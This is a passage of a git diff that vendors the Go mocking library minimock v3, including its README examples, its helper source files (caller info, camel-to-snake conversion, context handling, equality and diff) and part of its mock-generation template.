world!").FormatMock.When("Hi %s!", "there").Then("Hi there!") +``` + +### Setting up a mock using the Set method: +```go +mc := minimock.NewController(t) +formatterMock := NewFormatterMock(mc).FormatMock.Set(func(string, ...interface{}) string { + return "minimock" +}) +``` + +You can also use invocation counters in your mocks and tests: +```go +mc := minimock.NewController(t) +formatterMock := NewFormatterMock(mc) +formatterMock.FormatMock.Set(func(string, ...interface{}) string { + return fmt.Sprintf("minimock: %d", formatterMock.BeforeFormatCounter()) +}) +``` + +### Setting up expected times mock was called: +Imagine you expect mock to be called exactly 10 times. +Then you can set `Times` helper to check how many times mock was invoked. + +```go +mc := minimock.NewController(t) +formatterMock := NewFormatterMock(mc).FormatMock.Times(10).Expect("hello %s!", "world").Return("hello world!") +``` + +There are also cases, when you don't know for sure if the mocking method would be called or not. +But you still want to mock it, if it will be called. This is where "Optional" option comes into play: + +```go +mc := minimock.NewController(t) +formatterMock := NewFormatterMock(mc).FormatMock.Optional().Expect("hello %s!", "world").Return("hello world!") +``` + +When this option is set, it disables checking the call of mocking method. + +### Mocking context +Sometimes context gets modified by the time the mocked method is being called. +However, in most cases you don't really care about the exact value of the context argument. +In such cases you can use special `minimock.AnyContext` variable, here are a couple of examples: + +```go +mc := minimock.NewController(t) +senderMock := NewSenderMock(mc). + SendMock. + When(minimock.AnyContext, "message1").Then(nil). + When(minimock.AnyContext, "message2").Then(errors.New("invalid message")) +``` + +or using Expect: + +```go +mc := minimock.NewController(t) +senderMock := NewSenderMock(mc). + SendMock.Expect(minimock.AnyContext, "message").Return(nil) +``` + +### Make sure that your mocks are being used +Often we write tons of mocks to test our code but sometimes the tested code stops using mocked dependencies. +You can easily identify this problem by using `minimock.NewController` instead of just `*testing.T`. +Alternatively you can use `mc.Wait` helper if your're testing concurrent code. +These helpers ensure that all your mocks and expectations have been used at least once during the test run. + +```go +func TestSomething(t *testing.T) { + // it will mark this example test as failed because there are no calls + // to formatterMock.Format() and readCloserMock.Read() below + mc := minimock.NewController(t) + + formatterMock := NewFormatterMock(mc) + formatterMock.FormatMock.Return("minimock") + + readCloserMock := NewReadCloserMock(mc) + readCloserMock.ReadMock.Return(5, nil) +} +``` + +### Testing concurrent code +Testing concurrent code is tough. Fortunately minimock.Controller provides you with the helper method that makes testing concurrent code easy. +Here is how it works: + +```go +func TestSomething(t *testing.T) { + mc := minimock.NewController(t) + + //Wait ensures that all mocked methods have been called within the given time span + //if any of the mocked methods have not been called Wait marks the test as failed + defer mc.Wait(time.Second) + + formatterMock := NewFormatterMock(mc) + formatterMock.FormatMock.Return("minimock") + + //tested code can run the mocked method in a goroutine + go formatterMock.Format("hello world!") +} +``` + +## Using GoUnit with minimock + +Writing test is not only mocking the dependencies. Often the test itself contains a lot of boilerplate code. +You can generate test stubs using [GoUnit](https://github.com/hexdigest/gounit) tool which has a nice template that uses minimock. + +Happy mocking! diff --git a/vendor/github.com/gojuno/minimock/v3/caller.go b/vendor/github.com/gojuno/minimock/v3/caller.go new file mode 100644 index 00000000..41e0be31 --- /dev/null +++ b/vendor/github.com/gojuno/minimock/v3/caller.go @@ -0,0 +1,13 @@ +package minimock + +import ( + "fmt" + "runtime" +) + +func CallerInfo(skip int) string { + if _, file, line, ok := runtime.Caller(skip + 1); ok { + return fmt.Sprintf("%s:%d", file, line) + } + return "unknown file" +} diff --git a/vendor/github.com/gojuno/minimock/v3/camel_to_snake.go b/vendor/github.com/gojuno/minimock/v3/camel_to_snake.go new file mode 100644 index 00000000..2f903e69 --- /dev/null +++ b/vendor/github.com/gojuno/minimock/v3/camel_to_snake.go @@ -0,0 +1,62 @@ +package minimock + +import ( + "unicode" + "unicode/utf8" +) + +type buffer struct { + r []byte + runeBytes [utf8.UTFMax]byte +} + +func (b *buffer) write(r rune) { + if r < utf8.RuneSelf { + b.r = append(b.r, byte(r)) + return + } + n := utf8.EncodeRune(b.runeBytes[0:], r) + b.r = append(b.r, b.runeBytes[0:n]...) +} + +func (b *buffer) indent() { + if len(b.r) > 0 { + b.r = append(b.r, '_') + } +} + +// CamelToSnake transforms strings from CamelCase to snake_case +func CamelToSnake(s string) string { + b := buffer{ + r: make([]byte, 0, len(s)), + } + var m rune + var w bool + for _, ch := range s { + if unicode.IsUpper(ch) { + if m != 0 { + if !w { + b.indent() + w = true + } + b.write(m) + } + m = unicode.ToLower(ch) + } else { + if m != 0 { + b.indent() + b.write(m) + m = 0 + w = false + } + b.write(ch) + } + } + if m != 0 { + if !w { + b.indent() + } + b.write(m) + } + return string(b.r) +} diff --git a/vendor/github.com/gojuno/minimock/v3/context.go b/vendor/github.com/gojuno/minimock/v3/context.go new file mode 100644 index 00000000..10ddd5e8 --- /dev/null +++ b/vendor/github.com/gojuno/minimock/v3/context.go @@ -0,0 +1,44 @@ +package minimock + +import ( + "context" + "reflect" +) + +func copyValue(value interface{}) reflect.Value { + rValue := reflect.ValueOf(value) + newValue := reflect.New(rValue.Type()).Elem() + newValue.Set(rValue) + + return newValue +} + +func checkAnyContext(eFieldValue, aFieldValue interface{}) bool { + _, ok := eFieldValue.(anyContext) + if ok { + if ctx, ok := aFieldValue.(context.Context); ok && ctx != nil { + return true + } + } + + return false +} + +func setAnyContext(src, dst interface{}) interface{} { + srcp := copyValue(src) + dstp := copyValue(dst) + + for i := 0; i < srcp.NumField(); i++ { + srcFieldValue := unexportedVal(srcp.Field(i)) + dstFieldValue := unexportedVal(dstp.Field(i)) + + if checkAnyContext(srcFieldValue.Interface(), dstFieldValue.Interface()) { + // we set context field to anyContext because + // we don't want to display diff between two contexts in case + // of anyContext + dstFieldValue.Set(srcFieldValue) + } + } + + return dstp.Interface() +} diff --git a/vendor/github.com/gojuno/minimock/v3/doc.go b/vendor/github.com/gojuno/minimock/v3/doc.go new file mode 100644 index 00000000..09b216c0 --- /dev/null +++ b/vendor/github.com/gojuno/minimock/v3/doc.go @@ -0,0 +1,264 @@ +/* +Package minimock is a command line tool that parses the input Go source file that contains an interface declaration and generates +implementation of this interface that can be used as a mock. + +Main features of minimock + +1. It's integrated with the standard Go "testing" package + +2. It supports variadic methods and embedded interfaces + +3. It's very convenient to use generated mocks in table tests because it implements builder pattern to set up several mocks + +4. It provides a useful Wait(time.Duration) helper to test concurrent code + +5. It generates helpers to check if the mocked methods have been called and keeps your tests clean and up to date + +6. It generates concurrent-safe mock execution counters that you can use in your mocks to implement sophisticated mocks behaviour + +Let's say we have the following interface declaration in github.com/gojuno/minimock/tests package: + + type Formatter interface { + Format(string, ...interface{}) string + } + +Here is how to generate the mock for this interface: + + minimock -i github.com/gojuno/minimock/tests.Formatter -o ./tests/ + +The result file ./tests/formatter_mock_test.go will contain the following code: + + //FormatterMock implements github.com/gojuno/minimock/tests.Formatter + type FormatterMock struct { + t minimock.Tester + + FormatFunc func(p string, p1 ...interface{}) (r string) + FormatCounter uint64 + FormatMock mFormatterMockFormat + } + + //NewFormatterMock returns a mock for github.com/gojuno/minimock/tests.Formatter + func NewFormatterMock(t minimock.Tester) *FormatterMock { + m := &FormatterMock{t: t} + + if controller, ok := t.(minimock.MockController); ok { + controller.RegisterMocker(m) + } + + m.FormatMock = mFormatterMockFormat{mock: m} + + return m + } + + type mFormatterMockFormat struct { + mock *FormatterMock + mockExpectations *FormatterMockFormatParams + } + + //FormatterMockFormatParams represents input parameters of the Formatter.Format + type FormatterMockFormatParams struct { + p string + p1 []interface{} + } + + //Expect sets up expected params for the Formatter.Format + func (m *mFormatterMockFormat) Expect(p string, p1 ...interface{}) *mFormatterMockFormat { + m.mockExpectations = &FormatterMockFormatParams{p, p1} + return m + } + + //Return sets up a mock for Formatter.Format to return Return's arguments + func (m *mFormatterMockFormat) Return(r string) *FormatterMock { + m.mock.FormatFunc = func(p string, p1 ...interface{}) string { + return r + } + return m.mock + } + + //Set uses given function f as a mock of Formatter.Format method + func (m *mFormatterMockFormat) Set(f func(p string, p1 ...interface{}) (r string)) *FormatterMock { + m.mock.FormatFunc = f + return m.mock + } + + //Format implements github.com/gojuno/minimock/tests.Formatter interface + func (m *FormatterMock) Format(p string, p1 ...interface{}) (r string) { + defer atomic.AddUint64(&m.FormatCounter, 1) + + if m.FormatMock.mockExpectations != nil { + testify_assert.Equal(m.t, *m.FormatMock.mockExpectations, FormatterMockFormatParams{p, p1}, + "Formatter.Format got unexpected parameters") + + if m.FormatFunc == nil { + m.t.Fatal("No results are set for the FormatterMock.Format") + return + } + } + + if m.FormatFunc == nil { + m.t.Fatal("Unexpected call to FormatterMock.Format") + return + } + + return m.FormatFunc(p, p1...) + } + + //FormatMinimockCounter returns a count of Formatter.Format invocations + func (m *FormatterMock) FormatMinimockCounter() uint64 { + return atomic.LoadUint64(&m.FormatCounter) + } + + //MinimockFinish checks that all mocked methods of the interface have been called at least once + func (m *FormatterMock) MinimockFinish() { + if m.FormatFunc != nil && atomic.LoadUint64(&m.FormatCounter) == 0 { + m.t.Fatal("Expected call to FormatterMock.Format") + } + } + + //MinimockWait waits for all mocked methods to be called at least once + //this method is called by minimock.Controller + func (m *FormatterMock) MinimockWait(timeout time.Duration) { + timeoutCh := time.After(timeout) + for { + ok := true + ok = ok && (m.FormatFunc == nil || atomic.LoadUint64(&m.FormatCounter) > 0) + + if ok { + return + } + + select { + case <-timeoutCh: + + if m.FormatFunc != nil && atomic.LoadUint64(&m.FormatCounter) == 0 { + m.t.Error("Expected call to FormatterMock.Format") + } + + m.t.Fatalf("Some mocks were not called on time: %s", timeout) + return + default: + time.Sleep(time.Millisecond) + } + } + } + +There are several ways to set up a mock + +Setting up a mock using direct assignment: + + formatterMock := NewFormatterMock(mc) + formatterMock.FormatFunc = func(string, ...interface{}) string { + return "minimock" + } + +Setting up a mock using builder pattern and Return method: + + formatterMock := NewFormatterMock(mc).FormatMock.Expect("%s %d", "string", 1).Return("minimock") + +Setting up a mock using builder and Set method: + + formatterMock := NewFormatterMock(mc).FormatMock.Set(func(string, ...interface{}) string { + return "minimock" + }) + +Builder pattern is convenient when you have to mock more than one method of an interface. +Let's say we have an io.ReadCloser interface which has two methods: Read and Close + + type ReadCloser interface { + Read(p []byte) (n int, err error) + Close() error + } + +Then you can set up a mock using just one assignment: + + readCloserMock := NewReadCloserMock(mc).ReadMock.Expect([]byte(1,2,3)).Return(3, nil).CloseMock.Return(nil) + +You can also use invocation counters in your mocks and tests: + + formatterMock := NewFormatterMock(mc) + formatterMock.FormatFunc = func(string, ...interface{}) string { + return fmt.Sprintf("minimock: %d", formatterMock.FormatMinimockCounter()) + } + +minimock.Controller + +When you have to mock multiple dependencies in your test it's recommended to use minimock.Controller and its Finish or Wait methods. +All you have to do is instantiate the Controller and pass it as an argument to the mocks' constructors: + + func TestSomething(t *testing.T) { + mc := minimock.NewController(t) + defer mc.Finish() + + formatterMock := NewFormatterMock(mc) + formatterMock.FormatMock.Return("minimock") + + readCloserMock := NewReadCloserMock(mc) + readCloserMock.ReadMock.Return(5, nil) + + readCloserMock.Read([]byte{}) + formatterMock.Format() + } + +Every mock is registered in the controller so by calling mc.Finish() you can verify that all the registered mocks have been called +within your test. + +Keep your tests clean + +Sometimes we write tons of mocks for our tests but over time the tested code stops using mocked dependencies, +however mocks are still present and being initialized in the test files. So while tested code can shrink, tests are only growing. +To prevent this minimock provides Finish() method that verifies that all your mocks have been called at least once during the test run. + + func TestSomething(t *testing.T) { + mc := minimock.NewController(t) + defer mc.Finish() + + formatterMock := NewFormatterMock(mc) + formatterMock.FormatMock.Return("minimock") + + readCloserMock := NewReadCloserMock(mc) + readCloserMock.ReadMock.Return(5, nil) + + //this test will fail because there are no calls to formatterMock.Format() and readCloserMock.Read() + } + +Testing concurrent code + +Testing concurrent code is tough. Fortunately minimock provides you with the helper method that makes testing concurrent code easy. +Here is how it works: + + func TestSomething(t *testing.T) { + mc := minimock.NewController(t) + + //Wait ensures that all mocked methods have been called within given interval + //if any of the mocked methods have not been called Wait marks test as failed + defer mc.Wait(time.Second) + + formatterMock := NewFormatterMock(mc) + formatterMock.FormatMock.Return("minimock") + + //tested code can run mocked method in a goroutine + go formatterMock.Format("") + } + +Minimock comman line args: + + $ minimock -h + Usage of minimock: + -f string + DEPRECATED: input file or import path of the package that contains interface declaration + -h show this help message + -i string + comma-separated names of the interfaces to mock, i.e fmt.Stringer,io.Reader, use io.* notation to generate mocks for all interfaces in an io package + -o string + destination file name to place the generated mock or path to destination package when multiple interfaces are given + -p string + DEPRECATED: destination package name + -s string + output file name suffix which is added to file names when multiple interfaces are given (default "_mock_test.go") + -t string + DEPRECATED: mock struct name (default Mock) + -withTests + parse *_test.go files in the source package + +*/ +package minimock diff --git a/vendor/github.com/gojuno/minimock/v3/equal.go b/vendor/github.com/gojuno/minimock/v3/equal.go new file mode 100644 index 00000000..80e9ecb9 --- /dev/null +++ b/vendor/github.com/gojuno/minimock/v3/equal.go @@ -0,0 +1,105 @@ +package minimock + +import ( + "context" + "reflect" + "unsafe" + + "github.com/davecgh/go-spew/spew" + "github.com/pmezard/go-difflib/difflib" +) + +var dumpConf = spew.ConfigState{ + Indent: " ", + DisablePointerAddresses: true, + SortKeys: true, +} + +type anyContext struct { + context.Context +} + +var AnyContext = anyContext{} + +// Equal returns true if a equals b +func Equal(a, b interface{}) bool { + if a == nil && b == nil { + return a == b + } + + if reflect.TypeOf(a).Kind() == reflect.Struct { + ap := copyValue(a) + bp := copyValue(b) + + // for every field in a + for i := 0; i < reflect.TypeOf(a).NumField(); i++ { + aFieldValue := unexported(ap.Field(i)) + bFieldValue := unexported(bp.Field(i)) + + if checkAnyContext(aFieldValue, bFieldValue) { + continue + } + + if !reflect.DeepEqual(aFieldValue, bFieldValue) { + return false + } + } + + return true + } + + return reflect.DeepEqual(a, b) +} + +// Diff returns unified diff of the textual representations of e and a +func Diff(e, a interface{}) string { + if e == nil || a == nil { + return "" + } + + t := reflect.TypeOf(e) + k := t.Kind() + + if reflect.TypeOf(a) != t { + return "" + } + + initialKind := k + if k == reflect.Ptr { + t = t.Elem() + k = t.Kind() + } + + if k != reflect.Array && k != reflect.Map && k != reflect.Slice && k != reflect.Struct { + return "" + } + + if initialKind == reflect.Struct { + a = setAnyContext(e, a) + } + + es := dumpConf.Sdump(e) + as := dumpConf.Sdump(a) + + diff, err := difflib.GetUnifiedDiffString(difflib.UnifiedDiff{ + A: difflib.SplitLines(es), + B: difflib.SplitLines(as), + Context: 1, + FromFile: "Expected params", + ToFile: "Actual params", + }) + + if err != nil { + panic(err) + } + + return "\n\nDiff:\n" + diff +} + +func unexported(field reflect.Value) interface{} { + return unexportedVal(field).Interface() +} + +func unexportedVal(field reflect.Value) reflect.Value { + return reflect.NewAt(field.Type(), unsafe.Pointer(field.UnsafeAddr())).Elem() +} diff --git a/vendor/github.com/gojuno/minimock/v3/internal/templates/body.tmpl b/vendor/github.com/gojuno/minimock/v3/internal/templates/body.tmpl new file mode 100644 index 00000000..19d60ad8 --- /dev/null +++ b/vendor/github.com/gojuno/minimock/v3/internal/templates/body.tmpl @@ -0,0 +1,413 @@ +{{ $mock := (title (index $.Vars "MockName")) }} + +// {{$mock}} implements {{$.Interface.Type}} +type {{$mock}}{{(params)}} struct { + t minimock.Tester + finishOnce sync.Once + + {{ range $method := $.Interface.Methods }} + func{{$method.Name}} func{{ $method.Signature }} + func{{$method.Name}}Origin string + inspectFunc{{$method.Name}} func({{ $method.Params}}) + after{{$method.Name}}Counter uint64 + before{{$method.Name}}Counter uint64 + {{$method.Name}}Mock m{{$mock}}{{$method.Name}}{{(paramsRef)}} + {{ end }} +} + +// New{{$mock}} returns a mock for {{$.Interface.Type}} +func New{{$mock}}{{(params)}}(t minimock.Tester) *{{$mock}}{{(paramsRef)}} { + m := &{{$mock}}{{(paramsRef)}}{t: t} + + if controller, ok := t.(minimock.MockController); ok { + controller.RegisterMocker(m) + } + {{ range $method := $.Interface.Methods }} + m.{{$method.Name}}Mock = m{{$mock}}{{$method.Name}}{{(paramsRef)}}{mock: m} + {{ if $method.HasParams }} m.{{$method.Name}}Mock.callArgs = []*{{$mock}}{{$method.Name}}Params{{(paramsRef)}}{} {{ end }} + {{ end }} + + t.Cleanup(m.MinimockFinish) + + return m +} + +{{ range $method := $.Interface.Methods }} + {{ $m := (printf "mm%s" $method.Name) }} + + type m{{$mock}}{{$method.Name}}{{(params)}} struct { + optional bool + mock *{{$mock}}{{(paramsRef)}} + defaultExpectation *{{$mock}}{{$method.Name}}Expectation{{(paramsRef)}} + expectations []*{{$mock}}{{$method.Name}}Expectation{{(paramsRef)}} + {{ if $method.HasParams }} + callArgs []*{{$mock}}{{$method.Name}}Params{{(paramsRef)}} + mutex sync.RWMutex + {{ end }} + + expectedInvocations uint64 + expectedInvocationsOrigin string + } + + // {{$mock}}{{$method.Name}}Expectation specifies expectation struct of the {{$.Interface.Name}}.{{$method.Name}} + type {{$mock}}{{$method.Name}}Expectation{{(params)}} struct { + mock *{{$mock}}{{(paramsRef)}} + {{ if $method.HasParams }} params *{{$mock}}{{$method.Name}}Params{{(paramsRef)}} {{end}} + {{ if $method.HasParams }} paramPtrs *{{$mock}}{{$method.Name}}ParamPtrs{{(paramsRef)}} {{end}} + {{ if $method.HasParams }} expectationOrigins {{$mock}}{{$method.Name}}ExpectationOrigins {{end}} + {{ if $method.HasResults }} results *{{$mock}}{{$method.Name}}Results{{(paramsRef)}} {{end}} + returnOrigin string + Counter uint64 + } + + {{if $method.HasParams }} + // {{$mock}}{{$method.Name}}Params contains parameters of the {{$.Interface.Name}}.{{$method.Name}} + type {{$mock}}{{$method.Name}}Params{{(params)}} {{$method.ParamsStruct}} + {{end}} + + {{if $method.HasParams }} + // {{$mock}}{{$method.Name}}ParamPtrs contains pointers to parameters of the {{$.Interface.Name}}.{{$method.Name}} + type {{$mock}}{{$method.Name}}ParamPtrs{{(params)}} {{$method.ParamPtrsStruct}} + {{end}} + + {{if $method.HasResults }} + // {{$mock}}{{$method.Name}}Results contains results of the {{$.Interface.Name}}.{{$method.Name}} + type {{$mock}}{{$method.Name}}Results{{(params)}} {{$method.ResultsStruct}} + {{end}} + + {{if $method.HasParams }} + // {{$mock}}{{$method.Name}}Origins contains origins of expectations of the {{$.Interface.Name}}.{{$method.Name}} + type {{$mock}}{{$method.Name}}ExpectationOrigins struct { + origin string + {{- range $param := $method.Params }} + origin{{ $param.Name | title }} string + {{- end}} + } + {{end}} + + // Marks this method to be optional. The default behavior of any method with Return() is '1 or more', meaning + // the test will fail minimock's automatic final call check if the mocked method was not called at least once. + // Optional() makes method check to work in '0 or more' mode. + // It is NOT RECOMMENDED to use this option unless you really need it, as default behaviour helps to + // catch the problems when the expected method call is totally skipped during test run. + func ({{$m}} *m{{$mock}}{{$method.Name}}{{(paramsRef)}}) Optional() *m{{$mock}}{{$method.Name}}{{(paramsRef)}} { + {{$m}}.optional = true + return {{$m}} + } + + // Expect sets up expected params for {{$.Interface.Name}}.{{$method.Name}} + func ({{$m}} *m{{$mock}}{{$method.Name}}{{(paramsRef)}}) Expect({{$method.Params}}) *m{{$mock}}{{$method.Name}}{{(paramsRef)}} { + if {{$m}}.mock.func{{$method.Name}} != nil { + {{$m}}.mock.t.Fatalf("{{$mock}}.{{$method.Name}} mock is already set by Set") + } + + if {{$m}}.defaultExpectation == nil { + {{$m}}.defaultExpectation = &{{$mock}}{{$method.Name}}Expectation{{(paramsRef)}}{} + } + + {{if $method.HasParams }} + if {{$m}}.defaultExpectation.paramPtrs != nil { + {{$m}}.mock.t.Fatalf("{{$mock}}.{{$method.Name}} mock is already set by ExpectParams functions") + } + + {{$m}}.defaultExpectation.params = &{{$mock}}{{$method.Name}}Params{{(paramsRef)}}{ {{ $method.ParamsNames }} } + {{$m}}.defaultExpectation.expectationOrigins.origin = minimock.CallerInfo(1) + for _, e := range {{$m}}.expectations { + if minimock.Equal(e.params, {{$m}}.defaultExpectation.params) { + {{$m}}.mock.t.Fatalf("Expectation set by When has same params: %#v", *{{$m}}.defaultExpectation.params) + } + } + {{end}} + return {{$m}} + } + + {{ range $idx, $param := $method.Params }} + // Expect{{ $param.Name | title }}Param{{$idx | inc}} sets up expected param {{ $param.Name }} for {{$.Interface.Name}}.{{$method.Name}} + func ({{$m}} *m{{$mock}}{{$method.Name}}{{(paramsRef)}}) Expect{{ $param.Name | title }}Param{{$idx | inc}}({{$param.Name}} {{$param.Type}}) *m{{$mock}}{{$method.Name}}{{(paramsRef)}} { + if {{$m}}.mock.func{{$method.Name}} != nil { + {{$m}}.mock.t.Fatalf("{{$mock}}.{{$method.Name}} mock is already set by Set") + } + + if {{$m}}.defaultExpectation == nil { + {{$m}}.defaultExpectation = &{{$mock}}{{$method.Name}}Expectation{{(paramsRef)}}{} + } + + if {{$m}}.defaultExpectation.params != nil { + {{$m}}.mock.t.Fatalf("{{$mock}}.{{$method.Name}} mock is already set by Expect") + } + + if {{$m}}.defaultExpectation.paramPtrs == nil { + {{$m}}.defaultExpectation.paramPtrs = &{{$mock}}{{$method.Name}}ParamPtrs{{(paramsRef)}}{} + } + {{$m}}.defaultExpectation.paramPtrs.{{$param.Name}} = &{{$param.Name}} + {{$m}}.defaultExpectation.expectationOrigins.origin{{ $param.Name | title }} = minimock.CallerInfo(1) + + return {{$m}} + } + {{ end }} + // Inspect accepts an inspector function that has same arguments as the {{$.Interface.Name}}.{{$method.Name}} + func ({{$m}} *m{{$mock}}{{$method.Name}}{{(paramsRef)}}) Inspect(f func({{$method.Params}})) *m{{$mock}}{{$method.Name}}{{(paramsRef)}} { + if {{$m}}.mock.inspectFunc{{$method.Name}} != nil { + {{$m}}.mock.t.Fatalf("Inspect function is already set for {{$mock}}.{{$method.Name}}") + } + + {{$m}}.mock.inspectFunc{{$method.Name}} = f + + return {{$m}} + } + + // Return sets up results that will be returned by {{$.Interface.Name}}.{{$method.Name}} + func ({{$m}} *m{{$mock}}{{$method.Name}}{{(paramsRef)}}) Return({{$method.Results}}) *{{$mock}}{{(paramsRef)}} { + if {{$m}}.mock.func{{$method.Name}} != nil { + {{$m}}.mock.t.Fatalf("{{$mock}}.{{$method.Name}} mock is already set by Set") + } + + if {{$m}}.defaultExpectation == nil { + {{$m}}.defaultExpectation = &{{$mock}}{{$method.Name}}Expectation{{(paramsRef)}}{mock: {{$m}}.mock} + } + {{if $method.HasResults }} {{$m}}.defaultExpectation.results = &{{$mock}}{{$method.Name}}Results{{(paramsRef)}}{ {{ $method.ResultsNames }} } {{end}} + {{$m}}.defaultExpectation.returnOrigin = minimock.CallerInfo(1) + return {{$m}}.mock + } + + // Set uses given function f to mock the {{$.Interface.Name}}.{{$method.Name}} method + func ({{$m}} *m{{$mock}}{{$method.Name}}{{(paramsRef)}}) Set(f func{{$method.Signature}}) *{{$mock}}{{(paramsRef)}}{ + if {{$m}}.defaultExpectation != nil { + {{$m}}.mock.t.Fatalf("Default expectation is already set for the {{$.Interface.Name}}.{{$method.Name}} method") + } + + if len({{$m}}.expectations) > 0 { + {{$m}}.mock.t.Fatalf("Some expectations are already set for the {{$.Interface.Name}}.{{$method.Name}} method") + } + + {{$m}}.mock.func{{$method.Name}} = f + {{$m}}.mock.func{{$method.Name}}Origin = minimock.CallerInfo(1) + return {{$m}}.mock + } + + {{if $method.HasParams }} + // When sets expectation for the {{$.Interface.Name}}.{{$method.Name}} which will trigger the result defined by the following + // Then helper + func ({{$m}} *m{{$mock}}{{$method.Name}}{{(paramsRef)}}) When({{$method.Params}}) *{{$mock}}{{$method.Name}}Expectation{{(paramsRef)}} { + if {{$m}}.mock.func{{$method.Name}} != nil { + {{$m}}.mock.t.Fatalf("{{$mock}}.{{$method.Name}} mock is already set by Set") + } + + expectation := &{{$mock}}{{$method.Name}}Expectation{{(paramsRef)}}{ + mock: {{$m}}.mock, + params: &{{$mock}}{{$method.Name}}Params{{(paramsRef)}}{ {{ $method.ParamsNames }} }, + expectationOrigins: {{$mock}}{{$method.Name}}ExpectationOrigins{origin: minimock.CallerInfo(1)}, + } + {{$m}}.expectations = append({{$m}}.expectations, expectation) + return expectation + } + + // Then sets up {{$.Interface.Name}}.{{$method.Name}} return parameters for the expectation previously defined by the When method{{if $method.HasResults }} + func (e *{{$mock}}{{$method.Name}}Expectation{{(paramsRef)}}) Then({{$method.Results}}) *{{$mock}}{{(paramsRef)}} { + e.results = &{{$mock}}{{$method.Name}}Results{{(paramsRef)}}{ {{ $method.ResultsNames }} } + return e.mock + } + {{end}} + {{if not $method.HasResults }} + func (e *{{$mock}}{{$method.Name}}Expectation{{(paramsRef)}}) Then() *{{$mock}}{{(paramsRef)}} { + return e.mock + } + {{end}} + {{end}} + + // Times sets number of times {{$.Interface.Name}}.{{$method.Name}} should be invoked + func ({{$m}} *m{{$mock}}{{$method.Name}}{{(paramsRef)}}) Times(n uint64) *m{{$mock}}{{$method.Name}}{{(paramsRef)}} { + if n == 0 { + {{$m}}.mock.t.Fatalf("Times of {{$mock}}.{{$method.Name}} mock can not be zero") + } + mm_atomic.StoreUint64(&{{$m}}.expectedInvocations, n) + {{$m}}.expectedInvocationsOrigin = minimock.CallerInfo(1) + return {{$m}} + } + + func ({{$m}} *m{{$mock}}{{$method.Name}}{{(paramsRef)}}) invocationsDone() bool { + if len({{$m}}.expectations) == 0 && {{$m}}.defaultExpectation == nil && {{$m}}.mock.func{{$method.Name}} == nil { + return true + } + + totalInvocations := mm_atomic.LoadUint64(&{{$m}}.mock.after{{$method.Name}}Counter) + expectedInvocations := mm_atomic.LoadUint64(&{{$m}}.expectedInvocations) + + return totalInvocations > 0 && (expectedInvocations == 0 || expectedInvocations == totalInvocations) + } + + // {{$method.Name}} implements {{$.Interface.Type}} + func ({{$m}} *{{$mock}}{{(paramsRef)}}) {{$method.Declaration}} { + mm_atomic.AddUint64(&{{$m}}.before{{$method.Name}}Counter, 1) + defer mm_atomic.AddUint64(&{{$m}}.after{{$method.Name}}Counter, 1) + + {{$m}}.t.Helper() + + if {{$m}}.inspectFunc{{$method.Name}} != nil { + {{$m}}.inspectFunc{{$method.Name}}({{$method.Params.Pass}}) + } + + {{if $method.HasParams}} + mm_params := {{$mock}}{{$method.Name}}Params{{(paramsRef)}}{ {{$method.ParamsNames}} } + + // Record call args + {{$m}}.{{$method.Name}}Mock.mutex.Lock() + {{$m}}.{{$method.Name}}Mock.callArgs = append({{$m}}.{{$method.Name}}Mock.callArgs, &mm_params) + {{$m}}.{{$method.Name}}Mock.mutex.Unlock() + + for _, e := range {{$m}}.{{$method.Name}}Mock.expectations { + if minimock.Equal(*e.params, mm_params) { + mm_atomic.AddUint64(&e.Counter, 1) + {{$method.ReturnStruct "e.results" -}} + } + } + {{end}} + + if {{$m}}.{{$method.Name}}Mock.defaultExpectation != nil { + mm_atomic.AddUint64(&{{$m}}.{{$method.Name}}Mock.defaultExpectation.Counter, 1) + {{- if $method.HasParams }} + mm_want := {{$m}}.{{$method.Name}}Mock.defaultExpectation.params + mm_want_ptrs := {{$m}}.{{$method.Name}}Mock.defaultExpectation.paramPtrs + + mm_got := {{$mock}}{{$method.Name}}Params{{(paramsRef)}}{ {{$method.ParamsNames}} } + + if mm_want_ptrs != nil { + {{ range $idx, $param := $method.Params }} + if mm_want_ptrs.{{$param.Name}} != nil && !minimock.Equal(*mm_want_ptrs.{{$param.Name}}, mm_got.{{$param.Name}}) { + {{$m}}.t.Errorf("{{$mock}}.{{$method.Name}} got unexpected parameter {{$param.Name}}, expected at\n%s:\nwant: %#v\n got: %#v%s\n", + {{$m}}.{{$method.Name}}Mock.defaultExpectation.expectationOrigins.origin{{$param.Name | title}}, *mm_want_ptrs.{{$param.Name}}, mm_got.{{$param.Name}}, minimock.Diff(*mm_want_ptrs.{{$param.Name}}, mm_got.{{$param.Name}})) + } + {{ end }} + } else if mm_want != nil && !minimock.Equal(*mm_want, mm_got) { + {{$m}}.t.Errorf("{{$mock}}.{{$method.Name}} got unexpected parameters, expected at\n%s:\nwant: %#v\n got: %#v%s\n", + {{$m}}.{{$method.Name}}Mock.defaultExpectation.expectationOrigins.origin, *mm_want, mm_got, minimock.Diff(*mm_want, mm_got)) + } + {{ end }} + {{if $method.HasResults }} + mm_results := {{$m}}.{{$method.Name}}Mock.defaultExpectation.results + if mm_results == nil { + {{$m}}.t.Fatal("No results are set for the {{$mock}}.{{$method.Name}}") + } + {{$method.ReturnStruct "(*mm_results)" -}} + {{else}} + return + {{ end }} + } + if {{$m}}.func{{$method.Name}} != nil { + {{$method.Pass (printf "%s.func" $m)}} + } + {{$m}}.t.Fatalf("Unexpected call to {{$mock}}.{{$method.Name}}.{{range $method.Params}} %v{{end}}", {{ $method.ParamsNames }} ) + {{if $method.HasResults}}return{{end}} + } + + // {{$method.Name}}AfterCounter returns a count of finished {{$mock}}.{{$method.Name}} invocations + func ({{$m}} *{{$mock}}{{(paramsRef)}}) {{$method.Name}}AfterCounter() uint64 { + return mm_atomic.LoadUint64(&{{$m}}.after{{$method.Name}}Counter) + } + + // {{$method.Name}}BeforeCounter returns a count of {{$mock}}.{{$method.Name}} invocations + func ({{$m}} *{{$mock}}{{(paramsRef)}}) {{$method.Name}}BeforeCounter() uint64 { + return mm_atomic.LoadUint64(&{{$m}}.before{{$method.Name}}Counter) + } + + {{ if $method.HasParams }} + // Calls returns a list of arguments used in each call to {{$mock}}.{{$method.Name}}. + // The list is in the same order as the calls were made (i.e. recent calls have a higher index) + func ({{$m}} *m{{$mock}}{{$method.Name}}{{(paramsRef)}}) Calls() []*{{$mock}}{{$method.Name}}Params{{(paramsRef)}} { + {{$m}}.mutex.RLock() + + argCopy := make([]*{{$mock}}{{$method.Name}}Params{{(paramsRef)}}, len({{$m}}.callArgs)) + copy(argCopy, {{$m}}.callArgs) + + {{$m}}.mutex.RUnlock() + + return argCopy + } + {{ end }} + + // Minimock{{$method.Name}}Done returns true if the count of the 